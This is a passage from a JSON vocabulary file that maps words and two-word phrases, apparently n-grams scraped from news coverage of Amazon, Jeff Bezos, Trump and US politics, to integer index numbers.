bezos": 150660, "000 lost": 150661, "__source twitter": 150662, "nominees": 150663, "david fasanella": 150664, "morning edition": 150665, "traffic amazon": 150666, "speculation trump": 150667, "main areas": 150668, "hollywood amazon": 150669, "ad services": 150670, "sneaky thing": 150671, "bezos requesting": 150672, "pretty unlikely": 150673, "jones dems": 150674, "unsuccessfully sought": 150675, "leavenworth": 150676, "embassy": 150677, "hold back23": 150678, "immediately prior": 150679, "clothing line": 150680, "region best": 150681, "runs aws": 150682, "holdings virginia": 150683, "tax repealed": 150684, "increased marketing": 150685, "europe walmart": 150686, "immigrant hardliners": 150687, "used primarily": 150688, "cfo david": 150689, "right major": 150690, "companies products": 150691, "example shows": 150692, "uw yesterday": 150693, "qanon shirts": 150694, "barr amazon": 150695, "instead calling": 150696, "kicking": 150697, "retailer annual": 150698, "york harbor": 150699, "political power": 150700, "published amazon": 150701, "intransigent": 150702, "model combining": 150703, "apple employees": 150704, "paves way": 150705, "consequential regulatory": 150706, "register contact": 150707, "whaling": 150708, "workforce did": 150709, "hamilton mac": 150710, "attack china": 150711, "lv": 150712, "mean heck": 150713, "won sweeping": 150714, "technology stocks": 150715, "giants twisted": 150716, "things moving": 150717, "primarily scruffy": 150718, "postage trump": 150719, "time person": 150720, "office state": 150721, "billion forbes": 150722, "swinton mia": 150723, "boasted choosing": 150724, "806": 150725, "spygate": 150726, "winter wired": 150727, "story housing": 150728, "brutally demanding": 150729, "radio personality": 150730, "assassinated russian": 150731, "contracts expire": 150732, "deplorable": 150733, "era safety": 150734, "stone longtime": 150735, "altogether saying": 150736, "schoolchildren": 150737, "digits 2018": 150738, "828": 150739, "rural communities": 150740, "label threat": 150741, "check forging": 150742, "pediatric": 150743, "sent 900": 150744, "markets rose": 150745, "capitalist": 150746, "began taking": 150747, "creating investor": 150748, "hempstead senior": 150749, "island power": 150750, "headquarters locations": 150751, "buffett observed": 150752, "memorandum opinion": 150753, "firms starvation": 150754, "seeking review": 150755, "disaster response": 150756, "completing": 150757, "duzer corridor": 150758, "w1": 150759, "gardner senior": 150760, "monopoly congress": 150761, "indefinitely thanks": 150762, "inmates clearing": 150763, "harnessing": 150764, "immediately business": 150765, "economic indicators": 150766, "debauchery": 150767, "diplomats": 150768, "reports members": 150769, "represents new": 150770, "spreads fake": 150771, "buying mood": 150772, "overlapping portions": 150773, "twitter provocation": 150774, "floated pursuing": 150775, "succeeds": 150776, "earnings beat": 150777, "subsections business": 150778, "plastic orange": 150779, "kristenicoleast": 150780, "reportedly lost": 150781, "gofundme": 150782, "big business": 150783, "santorum": 150784, "photo dan": 150785, "particulars": 150786, "amzn prospects": 150787, "ongoing tensions": 150788, "artist": 150789, "realises": 150790, "benioff richard": 150791, "backs israeli": 150792, "repeatedly claiming": 150793, "trade following": 150794, "tiaa cref": 150795, "time facial": 150796, "hit man": 150797, "hide cnn": 150798, "fabled": 150799, "liat": 150800, "told reporters": 150801, "nancy bass": 150802, "norfolk": 150803, "gallup poll": 150804, "notable clients": 150805, "longtime consultant": 150806, "america political": 150807, "protestors rallying": 150808, "firms according": 150809, "carried forward": 150810, "microsoft brief": 150811, "dr ben": 150812, "policy suggested": 150813, "billionaire founder": 150814, "crowder": 150815, "seed": 150816, "trinidad born": 150817, "festival red": 150818, "yankee": 150819, "fun games": 150820, "baltimore protesting": 150821, "longstanding rift": 150822, "inspired better": 150823, "wife kelly": 150824, "sent 735": 150825, "larry nassar": 150826, "wasn amused": 150827, "journal calls": 150828, "culprit relative": 150829, "regular protest": 150830, "office demonstrate": 150831, "businesses according": 150832, "news 2016": 150833, "worker handles": 150834, "vital": 150835, "diaper": 150836, "reputations": 150837, "sharma sent": 150838, "later reported": 150839, "turd burglar": 150840, "checks trump": 150841, "effort think": 150842, "allegedly ended": 150843, "dominance president": 150844, "amazon expands": 150845, "country actually": 150846, "abroad republicans": 150847, "admiration": 150848, "source winner": 150849, "view embedded": 150850, "united kingdom": 150851, "usc": 150852, "valley tycoons": 150853, "operation tells": 150854, "pressure postmaster": 150855, "year mean": 150856, "subprime": 150857, "billion dollars": 150858, "harmony does": 150859, "actuals beat": 150860, "win similar": 150861, "aws global": 150862, "carson": 150863, "tenn": 150864, "indicating": 150865, "conspired": 150866, "alle slimme": 150867, "nokia london": 150868, "years trump": 150869, "annual incomes": 150870, "storage needs": 150871, "plenty": 150872, "corporatism sensible": 150873, "intelligence recording": 150874, "pursue walmart": 150875, "small donations": 150876, "shalimar florida": 150877, "game educators": 150878, "sales mark": 150879, "unusual things": 150880, "progressive citizens": 150881, "widows": 150882, "housing local": 150883, "located closest": 150884, "2019 old": 150885, "government outlawing": 150886, "finalization": 150887, "thanks lot": 150888, "occurred fbi": 150889, "agenda anti": 150890, "contract immediately": 150891, "ubhi transmogrified": 150892, "trillion followed": 150893, "ferry point": 150894, "prince ami": 150895, "normally 230": 150896, "ap attorney": 150897, "warroom": 150898, "carrier obligations": 150899, "j1": 150900, "categories including": 150901, "screens": 150902, "converting": 150903, "new starts": 150904, "amid buyouts": 150905, "ranking members": 150906, "growth customer": 150907, "fleet": 150908, "pose actual": 150909, "hostile home": 150910, "director american": 150911, "grow strongly": 150912, "diego pr": 150913, "faces low": 150914, "rub": 150915, "nutter": 150916, "laptop bag": 150917, "plott": 150918, "aerospace marketplace": 150919, "steve king": 150920, "teacher job": 150921, "5x": 150922, "paper upward": 150923, "senator harris": 150924, "smart hacks": 150925, "bipartisan sanders": 150926, "streaming business": 150927, "provise mngmt": 150928, "moulton massachusetts": 150929, "addressed google": 150930, "cookies": 150931, "nasty voicemails": 150932, "headquarters reports": 150933, "cafe society": 150934, "2020 155": 150935, "spdr": 150936, "foto permas": 150937, "blackman": 150938, "market strength": 150939, "owned national": 150940, "nonprofits argue": 150941, "marketplace pressure": 150942, "amazon rants": 150943, "unfocused way": 150944, "welcomes saudi": 150945, "urge readers": 150946, "shares homrich": 150947, "value assistance": 150948, "notion": 150949, "alarming story": 150950, "background conversation": 150951, "previously targeted": 150952, "disorder": 150953, "parents according": 150954, "kkk": 150955, "year turnouts": 150956, "amazon sponsor": 150957, "coming revision": 150958, "europe shares": 150959, "rogue mobile": 150960, "attend oscars": 150961, "sure president": 150962, "beginning telling": 150963, "investigate rumoured": 150964, "shape shifting": 150965, "health profession": 150966, "company sell": 150967, "op eds": 150968, "2017 summit": 150969, "general battle": 150970, "practices brad": 150971, "singh": 150972, "cuts backed": 150973, "keely herring": 150974, "generated emails": 150975, "mistakenly referred": 150976, "new indictments": 150977, "search algorithm": 150978, "corsi killing": 150979, "mobil": 150980, "remit": 150981, "trustee marsha": 150982, "fundamental strength": 150983, "bernie sander": 150984, "revoke broadcast": 150985, "nhl": 150986, "voter recount": 150987, "income neighborhoods": 150988, "mate": 150989, "contractors": 150990, "eu antitrust": 150991, "ice certainly": 150992, "network providing": 150993, "liberal website": 150994, "30th amazon": 150995, "special investing": 150996, "landscape smaller": 150997, "negative": 150998, "bezos focus": 150999, "president criticism": 151000, "deconstruct": 151001, "weather related": 151002, "outside vendor": 151003, "archaic": 151004, "2018 pardon": 151005, "party business": 151006, "research recently": 151007, "situation ironic": 151008, "favorite hot": 151009, "occasionally contentious": 151010, "sanchez trump": 151011, "author laura": 151012, "extra idealogical": 151013, "core constituents": 151014, "ironically trump": 151015, "journal separately": 151016, "grant books": 151017, "netflix feverish": 151018, "certainly hurt": 151019, "largest issue": 151020, "braindead": 151021, "dictators embracing": 151022, "support matt": 151023, "think really": 151024, "broadly viewed": 151025, "dispatches pigeons": 151026, "inch ips": 151027, "netflix comedy": 151028, "1014_76a772458fdb8087939d21aa53b90eed": 151029, "story local": 151030, "house adviser": 151031, "brides": 151032, "surveillance warrant": 151033, "nonviolent alternative": 151034, "2017 called": 151035, "jenni konner": 151036, "complaint journalists": 151037, "growth reaches": 151038, "ep alexandria": 151039, "repeatedly targeted": 151040, "robs peter": 151041, "megalith": 151042, "offer prospective": 151043, "granny\u0430janice": 151044, "sophisticated weapons": 151045, "outing mike": 151046, "offers consumers": 151047, "sonia sotomayor": 151048, "early votes": 151049, "levels seemingly": 151050, "celebratory": 151051, "today bradcast": 151052, "issues danhof": 151053, "bezos neighbor": 151054, "raising privacy": 151055, "washington watch": 151056, "week oracle": 151057, "cia funded": 151058, "youtube natural": 151059, "nationalism": 151060, "favorite targets": 151061, "2015 despite": 151062, "usps strengthen": 151063, "mnuchin interlocutor": 151064, "helicopter pad": 151065, "bed students": 151066, "follows story": 151067, "authorities believe": 151068, "looked taken": 151069, "sector etf": 151070, "nonetheless paypal": 151071, "4th annual": 151072, "schuster audio": 151073, "partners program": 151074, "version 1703": 151075, "red bikini": 151076, "quarter operating": 151077, "services exempting": 151078, "globalization tactics": 151079, "game development": 151080, "absolutely unnecessary": 151081, "wasn": 151082, "remain president": 151083, "spent just": 151084, "climate": 151085, "pacs": 151086, "turn bearish": 151087, "shares soared": 151088, "working autos": 151089, "area factor": 151090, "sensationalist": 151091, "high chair": 151092, "unsuccessful candidate": 151093, "mahoning": 151094, "8b": 151095, "form shows": 151096, "jbauer heraldnet": 151097, "reaching bizarre": 151098, "course declined": 151099, "unfair work": 151100, "gang rapes": 151101, "day free": 151102, "used small": 151103, "portrait artist": 151104, "reporter lachlan": 151105, "customers sign": 151106, "jamey keaten": 151107, "1980s aids": 151108, "legislative decision": 151109, "hurd exactly": 151110, "afp vuukle": 151111, "north mackenzie": 151112, "sales results": 151113, "private shippers": 151114, "quickly hit": 151115, "fi wireless": 151116, "populist fervor": 151117, "need comfortable": 151118, "128 million": 151119, "phase detailed": 151120, "life refuses": 151121, "guralnick": 151122, "afternoon new": 151123, "42496460": 151124, "rep seth": 151125, "indian awaaz": 151126, "local 2019": 151127, "gabriel sherman": 151128, "revisions": 151129, "considering axing": 151130, "doesn officially": 151131, "blown media": 151132, "alarming pace": 151133, "orange color": 151134, "american bar": 151135, "showed texts": 151136, "namath speaks": 151137, "jane seymour": 151138, "used racist": 151139, "hire fewer": 151140, "entered bear": 151141, "addressing ncosh": 151142, "commentators": 151143, "owned building": 151144, "don split": 151145, "pena": 151146, "knighted": 151147, "entity": 151148, "left campaign": 151149, "incoming gary": 151150, "party pelosi": 151151, "york provides": 151152, "race sexual": 151153, "ice recognizing": 151154, "trump dubs": 151155, "seeking jobless": 151156, "dangerous lengths": 151157, "complicate matters": 151158, "major moment": 151159, "points global": 151160, "wild shopping": 151161, "maley warns": 151162, "ryan barkley": 151163, "personal fortune": 151164, "talks stock": 151165, "barrel oil": 151166, "including billion": 151167, "2015 race": 151168, "freer": 151169, "surprising way": 151170, "administration feel": 151171, "labor violations": 151172, "phoenix bret": 151173, "shipped": 151174, "legislation introduced": 151175, "lanxon bloomberg": 151176, "fundamental shift": 151177, "growth mean": 151178, "force dod": 151179, "rarified position": 151180, "near santa": 151181, "lobbyist": 151182, "choke legal": 151183, "heavy nasdaq": 151184, "delivers packages": 151185, "public men": 151186, "pure subscription": 151187, "accountable chunks": 151188, "times power": 151189, "send birthday": 151190, "wage standards": 151191, "susan lacy": 151192, "david fickling": 151193, "concludes analyst": 151194, "wife mackenzie": 151195, "1p sellers": 151196, "scrapping": 151197, "certain requirements": 151198, "affluent coastal": 151199, "recent weeks": 151200, "information chairman": 151201, "cemented": 151202, "divorced": 151203, "recent revelation": 151204, "holds live": 151205, "create inventions": 151206, "reach new": 151207, "antitrust trend": 151208, "suites": 151209, "prone": 151210, "director chris": 151211, "straight years": 151212, "states donald": 151213, "businesses potentially": 151214, "respectively special": 151215, "donnald": 151216, "observers think": 151217, "company widely": 151218, "wing facing": 151219, "steadily building": 151220, "quicker": 151221, "television channels": 151222, "spot health": 151223, "larry haverty": 151224, "channel retailers": 151225, "original introductions": 151226, "upmarket chain": 151227, "inssurance quotes": 151228, "cbmimwh0dhbzoi8vd3d3lmjiyy5jb20vbmv3cy93b3jszc11cy1jyw5hzgetndu5njg2mdbsaxlodhrwczovl3d3dy1iymmty29tlmnkbi5hbxbwcm9qzwn0lm9yzy92l3mvd3d3lmjiyy5jb20vbmv3cy9hbxavd29ybgqtdxmty2fuywrhltq1oty4nja2p2ftcf9qc192ptaumsn3zwj2awv3ptemy2fwpxn3axbl hl": 151229, "j0 j0": 151230, "autistic children": 151231, "denied quotes": 151232, "golding lord": 151233, "pose risk": 151234, "abundant attention": 151235, "magazine caijing": 151236, "singing fleetwood": 151237, "ferrechio capri": 151238, "men journal": 151239, "cnbc calculation": 151240, "arkansas banned": 151241, "mena": 151242, "embraces cara": 151243, "irritate": 151244, "townsend": 151245, "include things": 151246, "sorely needed": 151247, "party returns": 151248, "struggled disappointing": 151249, "restrained brazil": 151250, "assembly unea": 151251, "considered bellwether": 151252, "obsessive compulsively": 151253, "new legal": 151254, "pass message": 151255, "years pentagon": 151256, "shower read": 151257, "think caution": 151258, "big impressions": 151259, "military microsoft": 151260, "fahrenthold federal": 151261, "sure thing": 151262, "university researchers": 151263, "elections chaos": 151264, "warehouse injuries": 151265, "product suppose": 151266, "tap include": 151267, "entertainment amazon": 151268, "festival death": 151269, "oils trying": 151270, "porn charges": 151271, "detained": 151272, "weekly story": 151273, "investors china": 151274, "previous inquisitr": 151275, "wine youtube": 151276, "132": 151277, "signature phrases": 151278, "entrepreneurs customer": 151279, "publishing illicit": 151280, "currently strewn": 151281, "company energy": 151282, "finished": 151283, "economy simply": 151284, "government exists": 151285, "offering vegan": 151286, "stock briefly": 151287, "robust platforms": 151288, "interviewwith": 151289, "radioactive project": 151290, "offices chose": 151291, "alexis madrigal": 151292, "tech": 151293, "outperformed apple": 151294, "suderman shared": 151295, "diapers undercutting": 151296, "bear nupro": 151297, "research geekwire": 151298, "americans conservative": 151299, "officer brian": 151300, "enterprise customer": 151301, "depriving americans": 151302, "jan trump": 151303, "security mechanism": 151304, "unequipped": 151305, "limited decentralized": 151306, "opposition": 151307, "track meaning": 151308, "parents dodged": 151309, "bugs": 151310, "senator quickly": 151311, "compressed": 151312, "lose amazon": 151313, "predecessor preet": 151314, "indignant": 151315, "lady potentially": 151316, "new harrowing": 151317, "ink cloud": 151318, "sent 630": 151319, "workers dependent": 151320, "year worth": 151321, "cordray": 151322, "mnuchin counselors": 151323, "deadly opioid": 151324, "condition": 151325, "stamps comment": 151326, "proven nationwide": 151327, "companies matter": 151328, "upstate voters": 151329, "callender": 151330, "giugliano": 151331, "structure meant": 151332, "add retail": 151333, "tariffs work": 151334, "euro problems": 151335, "alibaba ant": 151336, "caller infowars": 151337, "procurement official": 151338, "minds want": 151339, "big revenue": 151340, "mhk": 151341, "promote discounts": 151342, "defending state": 151343, "201 shares": 151344, "ago danielle": 151345, "soaking": 151346, "sanders sensanders": 151347, "amazon primary": 151348, "frenzied catch": 151349, "kenosha counties": 151350, "large semiconductor": 151351, "credibility icymi": 151352, "cats instagram": 151353, "airborne deliveries": 151354, "hour costco": 151355, "silencing millions": 151356, "day times": 151357, "starry": 151358, "shares stage": 151359, "workloads aws": 151360, "teachers students": 151361, "lost boy": 151362, "4024": 151363, "agency recent": 151364, "grade counterparts": 151365, "bulldozed competition": 151366, "strikes tone": 151367, "fcc spokesman": 151368, "month underscoring": 151369, "count": 151370, "lipton archive": 151371, "billion acquisition": 151372, "mammoth undertaking": 151373, "won succeed": 151374, "selling caitlyn": 151375, "arthur elkins": 151376, "kind": 151377, "maker overreliance": 151378, "911": 151379, "life 2017": 151380, "hanlon nyt": 151381, "direct sales": 151382, "theatrical flourish": 151383, "minimal tax": 151384, "key legislator": 151385, "share growth": 151386, "confusing suspensions": 151387, "listen shares": 151388, "clothing brand": 151389, "particular goal": 151390, "believe exist": 151391, "access specialized": 151392, "acclaims": 151393, "torday st": 151394, "month reported": 151395, "lure amazon": 151396, "air hub": 151397, "credit cheerful": 151398, "meal prep": 151399, "takes somewhat": 151400, "shaving dopp": 151401, "sex cult": 151402, "initial watergate": 151403, "carberry cfo": 151404, "case won": 151405, "newsom trump": 151406, "gentrified": 151407, "rumblings": 151408, "editorial saying": 151409, "crowd national": 151410, "produce films": 151411, "deeply uncertain": 151412, "servant played": 151413, "paperback versions": 151414, "showdown need": 151415, "marked historic": 151416, "think people": 151417, "dad did": 151418, "frat": 151419, "armored limousine": 151420, "decades investors": 151421, "humanitarian group": 151422, "moratorium trump": 151423, "times notes": 151424, "ideological lines": 151425, "investigating employees": 151426, "mutate": 151427, "make 2020": 151428, "similar material": 151429, "2018 fedex": 151430, "thriving ecosystem": 151431, "clare": 151432, "stohr contributed": 151433, "begin accepting": 151434, "scales": 151435, "amazon wasn": 151436, "trump nominee": 151437, "falling biodiversity": 151438, "newsletter sign": 151439, "satanism beginner": 151440, "gained market": 151441, "sanctions wisconsin": 151442, "airbnb small": 151443, "issued tweeting": 151444, "2019 gains": 151445, "second guessing": 151446, "max contributed": 151447, "congress willvote": 151448, "firm foxconn": 151449, "jobs sam": 151450, "profile way": 151451, "lawsuit alleging": 151452, "suspicious video": 151453, "investors amazon": 151454, "emails fine": 151455, "eric phillips": 151456, "emperor chronicle": 151457, "late 2016": 151458, "right feeney": 151459, "enquirer connection": 151460, "produced independently": 151461, "unchecked": 151462, "maze": 151463, "renovation": 151464, "complexifier": 151465, "monitor historic": 151466, "disdainful relationship": 151467, "kqed": 151468, "testimony cdc": 151469, "live motogp": 151470, "hot button": 151471, "batting average": 151472, "afp email": 151473, "salmon": 151474, "answer session": 151475, "closing value": 151476, "potential madison": 151477, "monitor giving": 151478, "stormy week": 151479, "agent declined": 151480, "conversations regarding": 151481, "instead traders": 151482, "provide updates": 151483, "stock quickly": 151484, "twitter claiming": 151485, "microsoft facebook": 151486, "luckin starbucks": 151487, "paparazzo microscope": 151488, "haven looked": 151489, "allows consumers": 151490, "tsorf33 jesus": 151491, "samuelsson": 151492, "etsy plus": 151493, "sheffield founder": 151494, "mark gilbert": 151495, "lookout": 151496, "mckinsey company": 151497, "violence prevention": 151498, "senator mccain": 151499, "story half": 151500, "llc holds": 151501, "getty contributor": 151502, "services globaldata": 151503, "cnl_global_nav_background_gradient_end": 151504, "payne constellations": 151505, "good footing": 151506, "uncouth": 151507, "christian baker": 151508, "engagement greer": 151509, "martin wolf": 151510, "rep lynn": 151511, "giant won": 151512, "amy klobuchar": 151513, "trump board": 151514, "ask federal": 151515, "extraordinary cinematic": 151516, "weekend": 151517, "buying diffuses": 151518, "remark lot": 151519, "class residents": 151520, "added tasks": 151521, "trump university": 151522, "richardson rents": 151523, "county committee": 151524, "book comey": 151525, "life pic": 151526, "investors certainly": 151527, "runner andres": 151528, "private embarrassment": 151529, "policy facebook": 151530, "news marks": 151531, "told employers": 151532, "services segments": 151533, "citrix": 151534, "later nbc": 151535, "higher speed": 151536, "uk european": 151537, "2043": 151538, "dampened": 151539, "veritable poster": 151540, "companies feel": 151541, "companies": 151542, "chugging": 151543, "powers films": 151544, "spicy comment": 151545, "utter chaos": 151546, "chains responding": 151547, "menendez mike": 151548, "fury simon": 151549, "plan structural": 151550, "recent highs": 151551, "venezuela ap": 151552, "inquiry apple": 151553, "preventable pr": 151554, "created equally": 151555, "opening bell": 151556, "meaningfully": 151557, "obvious maybe": 151558, "paying woman": 151559, "deputy managing": 151560, "technology hands": 151561, "roti": 151562, "corporate offices": 151563, "salles brazil": 151564, "enquirer philidelphia": 151565, "makes 275": 151566, "t5": 151567, "don anybody": 151568, "spy drama": 151569, "did lately": 151570, "disclosure framework": 151571, "interview aired": 151572, "gala ia": 151573, "pacific tokyo": 151574, "jobs noting": 151575, "office don": 151576, "new items": 151577, "pen america": 151578, "agile industrial": 151579, "focus remains": 151580, "amazon pair": 151581, "gear haverford": 151582, "weddings 2017": 151583, "laundering scandals": 151584, "kushner": 151585, "answers cummings": 151586, "worse things": 151587, "philosopher": 151588, "dangerous appearing": 151589, "routing number": 151590, "planned summit": 151591, "greater insult": 151592, "browbeating": 151593, "qtrly advertising": 151594, "flipkart amazon": 151595, "colocation": 151596, "passionately hates": 151597, "chemotherapy": 151598, "exclusively negotiated": 151599, "ethical": 151600, "inspired preschools": 151601, "card game": 151602, "enquirer bureau": 151603, "east texas": 151604, "entitled report": 151605, "molested thousands": 151606, "numerous outlets": 151607, "accenture plc": 151608, "929 new": 151609, "obama view": 151610, "amazon pull": 151611, "bring factories": 151612, "deals follow": 151613, "open casino": 151614, "michael jordan": 151615, "lily white": 151616, "178 billion": 151617, "federal cronyism": 151618, "memorandum": 151619, "sticky": 151620, "higher profile": 151621, "offer ends": 151622, "post ends": 151623, "jassy downplayed": 151624, "time given": 151625, "cms": 151626, "meals": 151627, "frightening green": 151628, "hands donald": 151629, "robin wright": 151630, "assistant director": 151631, "hiatus amazon": 151632, "prices decline": 151633, "york residents": 151634, "technology demand": 151635, "blankenhorn": 151636, "indictment assange": 151637, "meets tragic": 151638, "cybersecurity overall": 151639, "outrageous characters": 151640, "buttered": 151641, "jesus demand": 151642, "launched registry": 151643, "table wrote": 151644, "undergraduate": 151645, "500 jobs": 151646, "america answer": 151647, "business donald": 151648, "including claiming": 151649, "dodging various": 151650, "expect short": 151651, "8990": 151652, "drew rebukes": 151653, "ideas": 151654, "boast national": 151655, "cdc_5ce292595c0ee1373097e27d_embed html": 151656, "privileged tax": 151657, "erdogan": 151658, "amazon wasyou": 151659, "amazon promotes": 151660, "slides showing": 151661, "destroyed analysts": 151662, "include room": 151663, "truly rigged": 151664, "unspeakably ancient": 151665, "thrones hotstar": 151666, "season coming": 151667, "company pushes": 151668, "cross origin": 151669, "unflattering article": 151670, "union speech": 151671, "particularly decently": 151672, "sure looks": 151673, "law hastily": 151674, "lead leadership": 151675, "halls held": 151676, "development planned": 151677, "immediately axios": 151678, "biggest publicity": 151679, "chuck todd": 151680, "offering subscription": 151681, "new marketing": 151682, "women needn": 151683, "phillip cristinaalesci": 151684, "happy timeshare": 151685, "intellectual": 151686, "author ronald": 151687, "forbid": 151688, "pram time": 151689, "shouraboura": 151690, "injecting investment": 151691, "previous crises": 151692, "committee reuters": 151693, "accelerating delivery": 151694, "week price": 151695, "patenting": 151696, "active user": 151697, "school schools": 151698, "amazon julia": 151699, "hispanic trump": 151700, "sources meeting": 151701, "conservatives particularly": 151702, "raised son": 151703, "pentagon underscore": 151704, "kathleen ronayne": 151705, "tweets calling": 151706, "screen cap": 151707, "aggressively": 151708, "esd": 151709, "mashed potatoes": 151710, "instead buy": 151711, "grew slowly": 151712, "yachts": 151713, "enterprise chief": 151714, "great way": 151715, "gloating ocasio": 151716, "varicella vaccine": 151717, "hey feel": 151718, "messenger good": 151719, "actually useful": 151720, "christine blasey": 151721, "usfs": 151722, "sanders calling": 151723, "emperor comfortably": 151724, "unconstrained based": 151725, "help people": 151726, "1736et copyright": 151727, "wedded": 151728, "reaction suit": 151729, "combined elements": 151730, "fields": 151731, "posted explicit": 151732, "opponents called": 151733, "single cloud": 151734, "sharper relief": 151735, "iwan": 151736, "remembers chia": 151737, "immunity yep": 151738, "258 billion": 151739, "panel members": 151740, "alvah roebuck": 151741, "qatar government": 151742, "scorecard": 151743, "biometric screening": 151744, "leave policy": 151745, "online super": 151746, "media manipulation": 151747, "company finally": 151748, "day cuomo": 151749, "consider finally": 151750, "feud continues": 151751, "platform companies": 151752, "reportedly interested": 151753, "amazon struggles": 151754, "ernie": 151755, "carthage college": 151756, "voice remote": 151757, "token": 151758, "surveyed registered": 151759, "building purchasing": 151760, "account disappointed": 151761, "recording artists": 151762, "pole according": 151763, "desirability": 151764, "coral reefs": 151765, "selected new": 151766, "unlimited power": 151767, "delta air": 151768, "forever healthy": 151769, "speak directly": 151770, "reese": 151771, "figure alarms": 151772, "living tips": 151773, "republican senators": 151774, "function hidespinner": 151775, "provided technology": 151776, "secretary works": 151777, "true pointing": 151778, "initiatives targeted": 151779, "article denouncing": 151780, "drive enclosure": 151781, "education cuseum": 151782, "usual clip": 151783, "reap": 151784, "raoux": 151785, "warner fcc": 151786, "hold candlelight": 151787, "avoid pay": 151788, "spokesman michael": 151789, "shauna macdonald": 151790, "current bloomberg": 151791, "stringify": 151792, "india rbi": 151793, "pics unfortunately": 151794, "surveys asking": 151795, "future federal": 151796, "select journalists": 151797, "including experts": 151798, "comb": 151799, "glance appears": 151800, "sanders plan": 151801, "claim true": 151802, "revenue tied": 151803, "australians": 151804, "developers microsoft": 151805, "power brokers": 151806, "illinois offered": 151807, "federal backstop": 151808, "member paid": 151809, "long position": 151810, "article38253336 arrived": 151811, "subplot involving": 151812, "hiltzik": 151813, "ongoing evolution": 151814, "high school": 151815, "kevin zegers": 151816, "holding company": 151817, "anchor sanchez": 151818, "william": 151819, "youtube recent": 151820, "economy growing": 151821, "headline jeff": 151822, "unit congressional": 151823, "blasio accuses": 151824, "asylum seekers": 151825, "zora neale": 151826, "opinion articles": 151827, "gone long": 151828, "orville spaceship": 151829, "using nvidia": 151830, "state foundation": 151831, "7207": 151832, "trump isn": 151833, "financial strategist": 151834, "slower sales": 151835, "infantile": 151836, "shelley jackson": 151837, "personnel changes": 151838, "ocean winds": 151839, "hostage": 151840, "aclu noted": 151841, "computer hardware": 151842, "satc": 151843, "national hit": 151844, "vt released": 151845, "spider": 151846, "buy kohl": 151847, "spokeswoman kristen": 151848, "ensuring amazon": 151849, "similarly threatened": 151850, "invent products": 151851, "positive people": 151852, "queue": 151853, "tweeted likewise": 151854, "hulk": 151855, "google thing": 151856, "forestry": 151857, "chastising": 151858, "harbor": 151859, "csr": 151860, "eventually filed": 151861, "advice information": 151862, "states capitol": 151863, "conley story": 151864, "trump pressured": 151865, "female gaze": 151866, "treisman": 151867, "perfect binge": 151868, "viejo california": 151869, "nastier personal": 151870, "aboard": 151871, "start playing": 151872, "ipt senior": 151873, "jason kint": 151874, "uses vine": 151875, "foods facebook": 151876, "investment investor": 151877, "straton": 151878, "book makes": 151879, "1537et copyright": 151880, "stiff opposition": 151881, "sentence jeff": 151882, "bottomed": 151883, "investigating trump": 151884, "attempts suicide": 151885, "consumption brazilian": 151886, "microsoft": 151887, "threat according": 151888, "videopinner new": 151889, "app connecting": 151890, "plucky": 151891, "treasury guidance": 151892, "1795": 151893, "deride having": 151894, "valley dennisndee": 151895, "fm": 151896, "aunt millie": 151897, "vuukle": 151898, "q3 sales": 151899, "weekdays": 151900, "siccing steve": 151901, "generally contributing": 151902, "processes lengthy": 151903, "spew": 151904, "accentuate": 151905, "making federal": 151906, "brand focusing": 151907, "rebuke": 151908, "family wealth": 151909, "second position": 151910, "natural ideological": 151911, "county looking": 151912, "future benefits": 151913, "child brides": 151914, "turn rage": 151915, "category hurricane": 151916, "holiday shipping": 151917, "earns 260": 151918, "plus pages": 151919, "damned trump": 151920, "different corporations": 151921, "insight needed": 151922, "distinction shared": 151923, "wayne": 151924, "200 puts": 151925, "estimated 132": 151926, "stock perigon": 151927, "supporters launch": 151928, "maker private": 151929, "platform including": 151930, "news fairy": 151931, "flatly prohibits": 151932, "join thailand": 151933, "barbara sharief": 151934, "better schools": 151935, "likable": 151936, "segment microsoft": 151937, "kerr strategies": 151938, "apache": 151939, "year talking": 151940, "congressional district": 151941, "digital freight": 151942, "significant publishing": 151943, "seen workers": 151944, "actual government": 151945, "democrats retake": 151946, "stream press": 151947, "scientific papers": 151948, "a4ee w1": 151949, "cannabis market": 151950, "houghton": 151951, "zinke actions": 151952, "stan": 151953, "leader mitch": 151954, "currency herera": 151955, "danaschwartzzz": 151956, "enquirer took": 151957, "liver": 151958, "government pecker": 151959, "inactive addclass": 151960, "caravan texas": 151961, "weighted average": 151962, "piece everybody": 151963, "generous benefits": 151964, "regulators pick": 151965, "amazon admitted": 151966, "politicians notably": 151967, "weekday amazon": 151968, "amazon plant": 151969, "customers president": 151970, "trump patrick": 151971, "haired senator": 151972, "host mika": 151973, "noreika": 151974, "possibility brings": 151975, "luck": 151976, "imposes washington": 151977, "person owns": 151978, "simply elevating": 151979, "making microwave": 151980, "college attainment": 151981, "t8": 151982, "recruit techies": 151983, "messages reuters": 151984, "colts neck": 151985, "promotes violence": 151986, "finance ministers": 151987, "build border": 151988, "sanchez vocal": 151989, "speaker rep": 151990, "rephrase trump": 151991, "make exceptions": 151992, "verizon stumbles": 151993, "trillion plateau": 151994, "depression sears": 151995, "imperious especially": 151996, "online sanchez": 151997, "media hq2": 151998, "republican administrations": 151999, "predict greater": 152000, "year home": 152001, "writing people": 152002, "seduced": 152003, "new rates": 152004, "woodward blistering": 152005, "tesla bull": 152006, "jaffray": 152007, "goal trump": 152008, "engine plane": 152009, "absolutely untrue": 152010, "ba inches": 152011, "safety network": 152012, "uu": 152013, "discount grocery": 152014, "home small": 152015, "report took": 152016, "truths": 152017, "activist groups": 152018, "writing letters": 152019, "throw matador": 152020, "half wheel": 152021, "large signs": 152022, "378 shares": 152023, "specific ethics": 152024, "workers force": 152025, "revenues raised": 152026, "adverse": 152027, "sum amazon": 152028, "tiet\u00ea": 152029, "uncovered troubling": 152030, "hartnell": 152031, "years establishment": 152032, "having success": 152033, "890 based": 152034, "public tolerance": 152035, "tv antoni": 152036, "midwinter": 152037, "taking place": 152038, "completely bezos": 152039, "clear message": 152040, "run competition": 152041, "christal": 152042, "final signature": 152043, "342": 152044, "dubious round": 152045, "acostas": 152046, "ponder eric": 152047, "stan lee": 152048, "sixteen": 152049, "script telling": 152050, "bezoss private": 152051, "63c": 152052, "bombshell reports": 152053, "pompeo": 152054, "washer": 152055, "perpetuated": 152056, "past months": 152057, "orleans restaurants": 152058, "house danielle": 152059, "yorkshireis": 152060, "entire ecosystem": 152061, "hill census": 152062, "cloud allowing": 152063, "profits grow": 152064, "public sector": 152065, "griping": 152066, "conference headliners": 152067, "corp reported": 152068, "gain traction": 152069, "coveted second": 152070, "make toronto": 152071, "twitter hours": 152072, "earning company": 152073, "battle illuminates": 152074, "kamhi": 152075, "artificial flavours": 152076, "brewer 